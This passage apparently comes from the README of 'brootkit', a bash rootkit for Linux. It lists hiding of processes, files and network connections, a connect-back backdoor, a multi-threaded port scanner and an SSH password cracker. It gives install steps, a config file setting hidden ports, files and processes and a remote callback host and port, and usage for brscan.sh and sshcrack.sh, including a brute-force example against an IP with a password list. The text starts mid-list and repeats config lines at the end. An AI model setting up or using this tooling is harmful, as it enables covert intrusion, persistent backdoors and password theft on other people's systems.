4. hide process.
5. hide network connections.
6. connect backdoor.
7. multi thread port scanner.
8. http download.
9. multi thread ssh passwd crack.

1. centos
2. rhel
3. ubuntu
4. debian
5. fedora
6. freebsd

######INSTALL
Linux distribution systems.
1. edit br.conf first
brootkit config file.
#these ports will be hidden: port1,port2,...,portn.
HIDE_PORT 8080,8899
#these files will be hidden: file1,file2,...,filen.
HIDE_FILE br.conf,bashbd.sh,brootkit,.bdrc,brdaemon
#these processes will be hidden: process1,process2,...,processn.
HIDE_PROC bashbd,brootkit,pty.spawn,brdaemon
#the connect back host domain name or ip address.
REMOTE_HOST localhost
#the connect back host port.
REMOTE_PORT 8080
#the connect backdoor base sleep time.
SLEEP_TIME 60
2. ./install.sh
3. multi thread port scanner.
[root@localhost brootkit]$ ./brscan.sh
./brscan.sh <-p> [-n|-t|-o|-h]
option:
-p ports, pattern: port1,port2,port3-port7,portn...
-n thread num, default is 10
-t timeout, default is 30s
-o results write into log file, default is brscan.log
-h help information.

4. multi thread ssh passwd crack.
[root@localhost brootkit]# ./sshcrack.sh
./sshcrack.sh <-h host> <-u user> <-p passwd> [-t timeout] [-n threadnum] [-o logfile]
option:
-h host name or host list file.
-u user name or user list file.
-p single passwd or passwd list file.
-t connect timeout, defalut is 5s.
-n thread num, default is 1.
-o log file.
-v display help information.
exp:
./sshcrack.sh -h 192.168.215.148 -u wzt -p passwd.lst

#these process will be hidden.
HIDE_PROC sh
#the connect back host domain name or ip address.
REMOTE_HOST localhost
#the connect back host port.
REMOTE_PORT 8080
#the connect backdoor base sleep time.
